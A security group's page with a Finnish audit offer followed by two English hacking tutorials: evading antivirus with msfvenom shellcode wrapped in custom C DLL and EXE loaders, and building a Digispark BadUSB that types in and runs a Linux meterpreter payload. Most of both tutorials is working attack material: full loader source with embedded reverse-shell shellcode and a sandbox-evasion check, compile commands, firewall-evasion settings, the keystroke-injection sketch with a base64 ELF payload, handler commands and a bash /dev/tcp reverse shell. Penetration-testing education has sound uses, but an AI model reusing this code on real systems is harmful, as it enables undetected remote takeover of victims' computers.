Team Rot tarjoutuu käyttämään 15h/henkilö/kohde kunnan järjestelmien teknisen tietoturvan tutkimiseen. Havaitut ongelmat raportoidaan kunnan määrittelemälle henkilölle, yleensä siis tietoturvasta vastaavalle. Tämän lisäksi Team Rot ilmoittaa havainnoista myös Viestintäviraston kyberturvallisuuskeskukselle, CERT-FI:lle joka avustaa tarvittaessa esimerkiksi koordinoinnin kanssa jos haavoittuvuus koskee kunnan ulkopuolisia organisaatioita tai vaikkapa ulkoiselta toimittajalta ostettua ohjelmistoa. Kun raportoidut havainnot on korjattu, niin Team Rot julkistaa niistä yhteenvedon. Yhteenveto käydään ennen julkistamista lävitse yhdessä kunnan kanssa ja sisällöstä poistetaan tarvittaessa esimerkiksi luottamukselliset tiedot.
Havaittujen haavoittuvuuksien kokonaismäärä voidaan julkaista ennen varsinaista ongelman korjaamista, mutta haavoittuvuuksien tarkempia tietoja ja osallistuvaa kuntaa ei julkaista vielä tässä vaiheessa.
Jotta tietoturvatarkastus olisi mahdollisimman sujuva ja reilu kummallekin osapuolelle, niin kunta voi määritellä itse halutun kohteen ja esimerkiksi rajata tietynlaiset testitapaukset pois tarkastuksesta. Team Rot kuitenkin suosittelee että kohteena olisi kaikki kunnan järjestelmät, jotka ovat saatavissa julkisessa verkossa. Näin ollen kunta hyötyy Team Rotin tekemästä työstä mahdollisimman paljon. Team Rot pyrkii olemaan aiheuttamatta minkäänlaista ongelmaa kohdejärjestelmän saatavuuden, eheyden ja luottamuksellisuuden kanssa testauksen aikana.
Mikäli kiinnostuit, ota yhteyttä niin sovitaan jatkosta ja muista mahdollisista velvoitteista.
Sähköpostilla: team@rot.fi
< Iiro Uusitalo
< Jarkko Vesiluoma
< Jarmo Puttonen
< Jake-Matti Lahtinen

0x00 General

Foreword: As the CIA Wikileaks articles mention, antivirus softwares can be bypassed pretty easily. Althought this article is primarily for penetration testing purposes, it also reweals how easy it is to circumvent antivirus softwares and restrictions.
This article should show some ideas about how hackers work. Althought I found this myself, there is identical tutorials in the internet and mostly because of that, I’m writing this. This article covers some basics that are used to bypass the antivirus softwares, but by no means doesn’t cover all means to bypass them. Note: As this is an example, some methods are not as polished as they could be.
Sometimes in penetration testing you may end up with a situation where antivirus software always catches up your payloads. In these cases you need a good way to bypass the antivirus softwares. The method described here is a pretty general, but works with pretty much every antivirus there is.
Method to bypass antivirus detection mentioned here is reported to one antivirus company on February 2016, but from their view, this is more of an undetected malware. As the basic payload is done with msfvenom, one could argue if the payload / method should be detectable by an AV.
The method bypassing antivirus software also evades the sandboxing method. Evasion is as simple as trying to open some file that is sure to exist on every installation, e.g. “c:\windows\system.ini” – file. If it doesn’t exist, we’re in a sandboxing environment done by antivirus software so we just don’t do anything. When again in a normal environment, file is found and payload is executed.
By  sending this method to Virustotal.com, detection rate was 1/59. Virustotal.com is a site, where the service checks the sended file against many antivirus engines. Also, by sending the file there, the antivirus companies get the file as a sample.
Software used:

• Metasploit (msfvenom, multi/handler)
• MinGW
• Notepad

0x01 Restrictions / limitations

It should be noted that the Windows Defender and probably most antivirus softwares nowdays complain about “some program is trying to connect to internet”. Of course, in penetration testing situation, this can be a showstopper. Nonetheless, if you manage to get a shell by changing the .dll of some software and/or tricking the user to run the executable, you may easily get a shell from the victim. And it’s possible to migrate the shellcode to some existing process that already has the access to internet, use existing programs to run malicious code to bypass whitelisting restrictions. There is many available methods to avoid the restrictions.
Of course, there could be some Firewalls/IPS/IDS systems in victims network, but they could also be easily avoided by e.g. using SSL encoded connection back to victim, but that’s another matter and not in scope of this article.
 

0x02 Setting up the payload

The payload was generated with ‘msfvenom’ that is part of the Metasploit package. With msfvenom, it’s possible to create executables and dll – files straight out of the box, but since we’re trying to evade the  antivirus, we create the payload in C-style output format with the following command:

msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c

As can be seen, we are also encoding the payload five times with x86/shikata_ga_nai – encoder, port is 4321 and destination for payload to contact is 10.0.0.8. Our payload is now ready to be used for testing in our code. To bypass IDS/IPS systems, payload using encrypted communications back to attacker could be used. This way even the more advanced firewalls could be bypassed since they can’t decrypt the connection.
 

0x03 DLL Method

One method to bypass antivirus softwares can be e.g. to create a malicious .dll – file and replace some existing .dll with it by a number of methods. As usually .exe – files are considered dangerous, users normally don’t recognize .dll – files as malicious. For testing purposes, this code snippet is just a very crude .dll – file that can be run from command line and doesn’t have any other functionality.

#include
#include
#ifdef EXPORTING_DLL
  extern __declspec(dllexport) void Checksandboxing() ;
#else
  extern __declspec(dllimport) void Checksandboxing() ;
#endif
extern "C" BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
) {
switch(fdwReason) {
    case DLL_PROCESS_ATTACH:
         CheckSandboxing();
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    default:
        break;
    }
return TRUE;
}
void CheckSandboxing()
{
  /** Test for some existing system file, sandbox evasion **/
  std::ifstream dllfile("c:\\windows\\system.ini", std::ios::binary);
  if (!dllfile)
  {
       MessageBox( NULL, TEXT("Running in sandbox"), TEXT("Sandbox"), MB_OK);
  }
  else
  {
       MessageBox( NULL, TEXT("Real system, running exploit"), TEXT("Real"), MB_OK);
    /** msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c  **/
    unsigned char shellcode[] =
    "\xbd\xf8\x13\x49\xa2\xda\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
    "\x6f\x83\xc2\x04\x31\x6a\x0f\x03\x6a\xf7\xf1\xbc\x19\x44\xae"
    "\x68\x86\x91\x90\x4c\x42\x01\xd9\x32\x82\x80\x90\xa5\xe5\x4f"
    "\xc7\x36\x5b\x7b\x64\xfd\x67\x22\xc7\x73\x73\xbb\xf3\x22\x3e"
    "\x09\x29\x81\x17\x8d\xb9\x87\x1f\xd4\x8c\x23\xc9\x65\x07\xc9"
    "\xc0\xd9\x46\x6d\xe3\xff\x34\x31\x74\xa7\x67\xec\x23\xb4\x53"
    "\x83\x31\xbe\x71\xda\x48\x30\x28\x16\x1e\xb9\x5e\x50\xa5\xf0"
    "\xe7\x80\x07\x07\x04\x91\xab\xfc\x2b\xd1\x74\xcd\x3d\x11\x7e"
    "\x77\xf5\x4b\xd4\x6a\x9f\x2d\xec\x28\x72\xd6\xa7\x87\x56\x97"
    "\x89\xe1\x2b\x46\x72\x04\x56\x23\xd2\x17\x96\x62\x85\x7c\xd0"
    "\x9e\xe8\x24\x92\x59\x3f\x58\x3e\xf4\x66\xf0\xdf\x56\xf0\xf0"
    "\x72\x96\x21\xae\xb7\x9c\x26\x33\x7d\x11\xec\x14\x44\x0c\xb9"
    "\x0d\x50\xca\xb6\xf6\xb3\xab\xd7\x93\x6d\xfb\xe9\x20\x6b\x0f"
    "\xf4\xda\x61\xb3\xed\x40\xf9\xea\xcc\xba\xd4\x92\xbe\x15\x11"
    "\xe4\xba\x22\xdc\x43\xb7\x15\xeb\x5d\x45\x79\x41\xa5\x25\xe7"
    "\x8e\xa2\x8e\x97\x7d\xae\xf4\x1e\x50\x22\x4c\xb7\xfc\x08\x21"
    "\xed\xb4\x1d\xde\xff\x1a\x7a\x37\x98\xa3\xcd\x47\xfa\x10\x1a"
    "\xff\x57\x52\x6c\xff\x39\x92\xe6\x53\x05\x67\xd9\xcf\x51\x01"
    "\x4f\x0c\x18\x66\x81\x4a\x02\x2d\x79\xe5\x0c\x80\xe3\xe4\xce"
    "\x61\x18\xc2\x9c\xc8\xe5\xda\x31\xad\x2b\x63\xe3\xae\xf2\x81"
    "\xd0\x0d\x26\xd9\xe5\x64\x73\x8a\x70\x71\x2f\x88\x4c\x72\xba"
    "\xef\xd5\x26\x39\x2c\x42\xe6\xd9\x93\xb7\x69\xd9\x49\xcd\x72"
    "\x10\x52\x1e\x76\x11\xb5\xa9\x6c\xc7\x45\xcc\xa9\xf0\x83\x75"
    "\xa7\x85\xcb\x34\x0a\x50\x1d\xf5\xe5\x6c\xbc\x88\xda\xe1\x0f"
    "\xa9\xe8\xe8\xf0\xc4\x1e\x83\xa1\xdf\xad\xaa\x9f\x1d\xa7\x82"
    "\x71\x6c\xbd\x8b\x02\x6d\x54\xf7\x42\xae\x68\x24\x9f\xf8\x73"
    "\xb9\x8a\x67\xa6\xef\x32\xdf\x21\xf2\x9a\xea\x10\xc6\x19\xcf"
    "\x11\x55\x61\xfc\xfe\xf1\x51\x49\xbc\x04\x9f\xe0\x9a\x09\x4e"
    "\x19\x2f\xb1\x20\x76\xac\x90\x3d\x48\x2b\x24\x23\xa6\xa1\x2e"
    "\x85\x35\xf7\x47\x8f\x49\xa3\xa0\x7a\x65\x22\x17\x5d\x72\x31"
    "\xb3\x2e\x38\xdf\xe7\xea\x83\xdd\xdf\xdd\x9c\xdb\x5a\x46\x4d"
    "\xd3\xa0\x31";
    LPVOID lpAlloc = NULL;
    void (*shellfunc)();
    /** Allocate memory for shellcode (read,write,execute) **/
    lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(lpAlloc == NULL)
    {
        printf("Error allocating memory!\n");
    }
    else
    {
        memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode)+1);
        shellfunc = (void (*)())lpAlloc;
        shellfunc();
    }
    /** Sleep for a bit **/
    Sleep(500);
  }
}

Compilation of the .dll is done as follows with MinGW

"c:\MinGW\bin\mingw32-g++.exe" -c c:\dll_test\main.cpp
"c:\MinGW\bin\mingw32-g++.exe" -shared -o exploittest.dll main.o -Wl,--out-implib,libexample_dll.a

Now the .dll can be checked with antivirus software, checking with Virustotal.com:

Not detected by any (0/60) antivirus software at virustotal.com.
Now, to test the exploit, we first would setup a meterpreter multi/handler to wait for the connection:
And now we can run the payload from the exploit with following command on the command line:

Rundll32 exploittest.dll,@DllMain

What happens next, is Windows Defender or antivirus software will popup a question that ‘exploittest.dll wants to connect to internet…’, if it is accepted, shellcode inside .dll connects back to the attacker and shell is now made! Of course, in real situation this is a showstopper, but shell isn’t the only thing that can be placed inside the .dll – file.

0x04 Executables

As with the .dll – file, sandbox evasion is done by first checking for some existing system file. If file is found, code execution is moved to the payload.
Code:

#include
// msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c
char code[] =
"\xdb\xda\xd9\x74\x24\xf4\x5e\x33\xc9\xb8\xcd\x9f\x5f\xe9\xb1"
"\x6f\x31\x46\x18\x83\xee\xfc\x03\x46\xd9\x7d\xaa\x34\x23\x58"
"\x21\xe3\x57\x06\x74\x2d\xf6\x97\x42\x9b\x31\x56\x3a\xed\xb4"
"\x80\x38\xc8\x32\xb0\x4b\xc6\x1e\x22\x25\xdb\xc1\xd8\x32\x06"
"\xc8\x19\x31\x8f\x0f\x09\x7c\xf8\x63\x78\x9d\x37\x00\x37\x86"
"\x02\xf6\x63\xe6\x8b\xfc\xc1\xba\x1a\x88\x74\x60\xed\xc0\xad"
"\x2a\x5b\xf2\xd3\x80\x19\xa9\x0e\x2e\x0c\x88\x36\xcf\xdb\x27"
"\x84\x06\xbf\x25\x91\x64\x09\x1d\xf1\x19\x2f\xd6\xa2\x6d\x6d"
"\x2a\x4e\xeb\xa4\x00\x91\x35\x57\x28\xbd\xd6\x10\x13\xad\x5d"
"\xea\x23\x25\x9d\x14\x11\xc5\x8e\x8e\x46\x7b\x28\xe1\x3b\xf3"
"\xd2\x4e\x39\xf0\x5d\x4a\xce\x64\xa7\x82\xc2\x7f\x72\x34\x96"
"\xb4\xf9\x8d\xfe\x94\x11\x37\x88\xc3\xd7\xcb\xb5\x37\xb3\x1c"
"\xc2\x58\xcc\x08\x37\x35\xea\x67\xff\x97\x01\x92\xf8\x33\x82"
"\x5d\x3e\x48\xff\xe3\x96\x75\x18\x95\xcf\xc4\x07\xe5\xa4\x73"
"\x38\xd4\x21\xe1\xb4\x96\x40\x52\x76\xdf\xe1\x60\x2c\xaf\x5d"
"\xb3\xe4\xff\x89\x6b\x49\x3e\x7e\x2d\x0b\x33\xa0\x54\x8d\x9b"
"\x40\x5b\x2e\xfe\x62\x1f\x48\x21\x69\x6e\x99\x08\xc2\xc2\xc3"
"\x69\x53\x3f\x84\x8e\x79\xdb\xca\xeb\x3f\xcf\xd8\x8c\xf8\x0a"
"\xed\x59\xcb\x6e\x82\xb4\x07\x00\xc3\x13\xed\x2e\x67\xf5\xc8"
"\xfd\x1c\x24\x6a\x95\x3d\x90\x43\x29\xba\x29\xff\x22\x2b\x48"
"\xa7\x7d\xb0\x3d\x56\x71\x30\x95\xdd\x69\x51\x2e\x0f\x3d\x5d"
"\x19\xbd\xfa\x06\xf9\x02\xfd\xed\x08\x27\xb8\x21\x11\xd7\xc4"
"\xd5\xca\xbb\x2a\xd4\xe7\x64\x65\x81\x50\x7b\xbd\xbd\xcb\xc0"
"\x15\x05\xff\x78\xee\x8b\x38\x2b\x28\x52\x56\xb2\x49\xc4\x44"
"\x39\xba\x76\x84\xeb\x0d\xa4\x53\x38\x4e\x77\x05\xc4\xa7\x94"
"\xd4\xe9\xbf\x1d\xb7\xc1\x6f\x5f\xa6\x62\xe4\x91\x48\x3c\xd4"
"\x6e\xce\xf1\x5f\xfd\x6c\x52\x8c\x59\x5c\x71\x63\x30\x81\x2e"
"\x63\x6f\xbc\x43\x0b\xab\x37\xdb\xbf\x48\x22\xda\xdb\x3d\x04"
"\xab\x5b\x6e\xfd\x3e\xfb\xfe\xb8\x4b\xa8\x72\xeb\x71\xbb\x0a"
"\xeb\xb2\x56\xcb\xb9\x14\xcf\x7a\xa5\xc3\x5d\x34\x4f\xfa\x55"
"\x54\x9d\x10\xe5\x26\xbc\x61\x56\xc7\x79\x8d\x64\x7a\x06\x50"
"\x07\xdd\xc6";
int main(int argc, char **argv)
{
  FILE *fp = fopen("c:\\windows\\system.ini", "rb");
  if (fp == NULL)
  return 0;
  fclose(fp);
  printf("Launching...again...");
  int (*func)();
  func = (int (*)()) code;
  return 0;
  (int)(*func)();
  printf("...DONE!");
}

Compilation is done simply by issuing:

c:\MinGW\bin\mingw32-gcc.exe exploittest.c -o exploittest.exe

Afterwards checking with virustotal.com, only Baidu noticed that it is a Trojan. Note to myself: Have to check why Baidu finds this.

To test this, a multi/handler could be setup as in x03 DLL Method (note, different payload) and by simply executing the file. Same nagging from Windows defender and/or antivirus software apply to this also.

0x05 Malicious payloads through IPS / IDS systems

In case there is IPS / IDS systems in front of the victim, these files should pass right through them, but they payloads would get caught. If actual files would get caught, just create a password protected .zip – file and get the files through HTTP for example. So, something like windows/meterpreter/reverse_https could be used as payload with following changes to parameters:

• EnableStageEncoding true
• MeterpreterServerName Nginx
• MeterpreterUserAgent Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
• StageEncoder (one of the below)
  • x86/fnstenv_mov
  • x86/shikata_ga_nai

With these changes, it’s possible to walk through the firewalls with IPS/IDS systems enabled. One thing I noticed with one major firewall manufacturer is that it blocks SSL encrypted payloads, but after fiddling with ‘stdapi_sys_process_execute’ – string, the shell goes through, but issues ‘critical’ – state in the lofugs. As I went through the firewall, I didn’t research it more. I would wager that it is very well possible to completely hide from the firewall.
Of course, if all else fails, there is always the dnscat…
 

0x06 Conclusion

Since victim would get an exploit/Trojan that is undetected by antivirus softwares, the possibility of exploiting unsuspecting user is greatly enhanced. Of course Windows Defender and antivirus have restrictions against new connections, but sadly these messages are ignored very often. But since antivirus doesn’t find anything, it is safe yes? No. Much of the security is still on the shoulders of users and antivirus / firewalls / IPS / IDS can’t be trusted to be bulletproof.
These methods could be further developed to do more evasive actions, sleep for a time, write other programs, etc. etc. This article was all about getting a shell from the client, but payload could be e.g. something more malicious. So, be sure not to count on the security software you use, have a common sense. Have a multiple layers of defense to enhance your security.

Here is a small guide on how to create a BadUSB – stick with a meterpreter payload to Linux. BadUSB can be a normal USB memory stick with a customized firmware that’ll have the computer to recognize the device as a keyboard. Because of this, the computer thinks that there’s always a user typing on the keyboard, which is a pretty nasty exploit and enablse a lot of possibilities. For example, with physical access to the victims computer you can do following things with BadUSB:

• Inject malware
• Steal passwords
• Delete files
• etc…whatever you can do with a keyboard, a BadUSB can do also.

Of course, you could buy a Rubber Ducky from Hak5 , but you’d miss all the fun tinkering with cool things. This guide is made for Digispark from Digistump.
Digispark can be programmed so that when the computer accepts it as a keyboard, it starts to send key presses to computer. Since Digispark has only 8Kb (6Kb of programmable space after bootloader), options are somewhat limited, but should be more than enough for most purposes and it’s also possible to circumvent the space limit.

0x00 Pre-requisities:

• Digispark , a low cost (~8$ at the time of writing this) USB development board
• Arduino-IDE (install guide here)
• Kali – Linux

0x01 Install Arduino-IDE

Since the installation guide is excellent in the digistump.com site, I will not even try to recreate them in detail here. Configure Arduino-IDE by these instructions.
Just make sure you have added following URL to “Additional Boards Manager URLs:” (File -> Preferences):

http://digistump.com/package_digistump_index.json

Also, install “Digistump AVR Boards by Digistump” via Boards manager (Tools -> Boards -> Boards Manager)…

And select “Digispark (Default – 16.5mhz)” as a board.
Arduino-IDE should now be good to go.

0x02 Generating a meterpreter payload

Generation of the payload is pretty straightforward. It’s generated with “msfvenom” as follows.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.8 LPORT=880 -f elf > mShell_880

Of course, LPORT and the LHOST should be changed to match your IP-addresses. LHOST should be the Kali box where the metasploit handler is waiting for the connection back from the victim and LPORT is the port you want to use. The output of the msfvenom is directed to file called ‘mShell_880‘. The output of the executable payload is only 155 bytes, so we have plenty of space left.
Since the payload is “typed” to victim, it has to be Base64 encoded, so we can “input” it to victim and generate the executable payload. Basically, what we want to do, is to echo the Base64 string and decode it and direct the output to a file, change the executable bit for the file and run the payload.
Base64 encoding is done as follows:

base64 mShell_880 > mShell_880.b64

“mShell_880.b64” – file now holds our payload encoded in Base64. We can use this string in our program that outputs it to victims terminal.

0x03 Programming with Arduino-IDE

The program is very simple and straightforward. I commented the program below, so it should be very clear what is done. On default, it works only with US – keyboard layout, but it’s possible to remap the keyboard layout from “DigiKeyboard.h” – file. Since this is for PoC only, I don’t include any other layouts in this post. Sorry

/*
* Works with US - keyboard layout only, because of testing purposes.
*
* 1. Send super key ('Windows key') to bring up the search
* 2. input 'terminal' and send enter
* 3. Send our binary payload via base64 encoded string, decode it and output to file
* 4. Change executable bit for the payload and execute it.
* 5. Enjoy.
*/
#include "DigiKeyboard.h"
void setup() {
// LED on.
pinMode(1, OUTPUT);
delay(200);
// Super, delete content
// Start to inject payload, turn the LED on
digitalWrite(1, HIGH);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean
delay(200);
DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT); // Super key, open 'search'
delay(300);
DigiKeyboard.print("terminal"); // Program to run
delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER,0);
// Delay for 1 second, if terminal is not opened, part of the string below is wasted to /dev/null
delay(1000);
// Send our payload
DigiKeyboard.print("echo");
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.print("f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1toCgAACGgCAANwieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= | base64 --decode > /tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(500);
// Change the permissions for the file...
DigiKeyboard.println("chmod 755 /tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(200);
// ...and execute it
DigiKeyboard.println("/tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(100);
// Payload executed!
digitalWrite(1, LOW);
}
void loop() {
// When scripts are done, blink some LED like it's 19
digitalWrite(1, HIGH);
delay(200);
digitalWrite(1, LOW);
delay(300);
}

Now, it’s possible to check the code for errors from Arduino-IDE by clicking “Sketch => Verify/Compile” (or by pressing CTRL + R on the Arduino-IDE). If no errors found, the program is ready to be uploaded to Digispark by first clicking “Sketch => Upload” (or by pressing CTRL + U on the Arduino IDE) and you should get a following info on the bottom of the IDE window.

Now the Digispark can be inserted to a USB port on the computer. After a while, the update should go through and you should see following info.

The programming of the Digispark is now ready and it now is a ‘BadUSB’.
Note: I had some problems with the uploading. Sometimes it takes a few tries to get a succesful program upload to Digispark, don’t yet know why..

0x04 Metasploit, multi/handler

Now multi/handler is setup to catch the meterpreter shell. Payload is “linux/x86/meterpreter/reverse_tcp“, since the generated payload
The whole point of this is guide is to demonstrate how dangerous it is to plug in USB sticks. Keep in mind that normal USB stick firmwares can also be reprogrammed like this and it doesn’t necessary help that they are formatted.
multi/handler can simply be setup from the terminal with following command:

msfconsole -x "use multi/handler;\
set PAYLOAD linux/x86/meterpreter/reverse_tcp;\
set LHOST 10.0.0.8;\
set LPORT 880;\
set AutoRunScript multi_console_command -rc /root/autoruncommands.rc
exploit"

0x05 The Exploitation

Now we are ready to test the BadUSB we have just created. When the Digispark / BadUSB is now inserted to linux computer, it should open the dashboard/search, open terminal, echo the Base64 encoded payload and decode it to file, change the executable bit for the payload file and run it. When the payload is run, multi/handler gets the shell. Here is a video recorded when the Digispark / BadUSB is inserted in to the linux computer. In the image above, you can see both LEDs from the Digispark are lighted, when the payload on the Digispark is executed.
Top right corner: syslog from ‘victim’, it’s visible when the BadUSB / Digispark is plugged in
Lower right corner: multi/handler from attacking server

0x06 Mitigation

As for mitigation, for Windows, there is a program called ‘Beamgun‘ (haven’t tested it yet). Of course as for Windows, Linux, OSX you could always disable USB ports, create scripts that prevent adding new hardware etc., but if you really need USB devices, that would be pretty cumbersome in the long run. And of course…don’t plug untrusted devices to your computer and don’t let anybody plug unknown USB devices to your computer. There is also a physical, small box called ‘USBguard‘ (also not tested in this experiment), that should block these kinds of attacks.

0x07 Conclusion

BadUSB stick could also be created with a normal USB drive (e.g. ‘Rubber ducky’ from Hak5) and this shows how bad effects plugging ‘found’ USB stick can have. Payload could also be something more nasty, e.g. wipe the whole drive from the computer.
It’s also possible to create payloads for Windows and OSX. For OSX, you can get a shell using for example following payload after you have launched a shell:

DigiKeyboard.print("/bin/bash -i > /dev/tcp/10.0.0.8/880 0<&1 2>1");

I’ll post example codes for Windows and OSX also when I have time to tinker some more.

(Original article: https://www.vesiluoma.com/exploiting-with-badusb-meterpreter-digispark/ )